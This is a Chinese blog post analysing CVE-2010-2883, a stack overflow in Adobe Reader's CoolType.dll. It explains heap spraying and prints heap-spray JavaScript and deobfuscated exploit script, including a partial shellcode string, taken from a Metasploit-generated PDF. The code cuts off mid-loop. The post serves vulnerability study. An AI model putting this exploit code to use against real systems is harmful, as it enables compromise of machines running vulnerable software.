CVE-2010-2883分析

1 漏洞背景

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在栈溢出漏洞。

1.1 Heap Spray(堆喷)

使用堆喷的时候,会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量内存,用包含着0x90和shellcode的“内存片”覆盖这些内存。

JavaScript会从内存低址向高址分配内存,申请了超过200M的内存。

 

var nop=unescape(“%u9090%u9090”);
//nop.length返回的是2
//产生一个大小为1MB且全部被0x90填满的内存块
while (nop.length<=0x100000/2)//0x100000是1MB,1MB=1024KB =1024*1024B=0x100000B
{
	nop+=nop;
}
//Java会为申请到的内存填上一些额外的信息,为了保证内存片恰好是1MB,需要将额外信息所占空间减去。
nop=nop.substring(0,0x100000/2-32/2-shellcode.length/2-2/2);
var slide=new Arrary();
//用200个nop+shellcode的内存片覆盖堆内存,只要任意一篇nop区能覆盖0x0C0C0C0C,攻击便可以成功。1MB的内存相对于200Bytes的shellcode,可以让exploit拥有足够的稳定性。
for (var i=0;i<200;i++)
{
	slide[i]=nop+shellcode;
}

 

 

1.2 PDF中的JS

注:使用的pdf是用metasploit生成的cve-2010-2883漏洞利用文档test.pdf

使用PDFStreamDumper查看PDF文件结构。

 第11个obj是OpenAction,文件打开时会执行它里边的脚本。

 然而第11个obj没有JS脚本,个人推测JS后面跟了个“12 0 R”代表脚本在第12个obj里面。

 JS脚本用了很多字符串来混淆,用简单字符代替后得到如下代码:

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a......' );
var str = unescape("%u0c0c%u0c0c");
while (str.length + 20 + 8 < 65536) //65536 Bytes=64MB
	str+=str;
//取从0-1524,1M多一点
str1 = str.substring(0, (0x0c0c-0x24)/2);
str1 += shellcode;
str1 += str;
str2 = str1.substring(0, 65536/2);
while(str2.length < 0x80000) 
	str2 += str2;
str3 = str2.substring(0, 0x80000 - (0x1020-0x08) / 2);
var str4 = new Array();
for (str5=0;str5
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值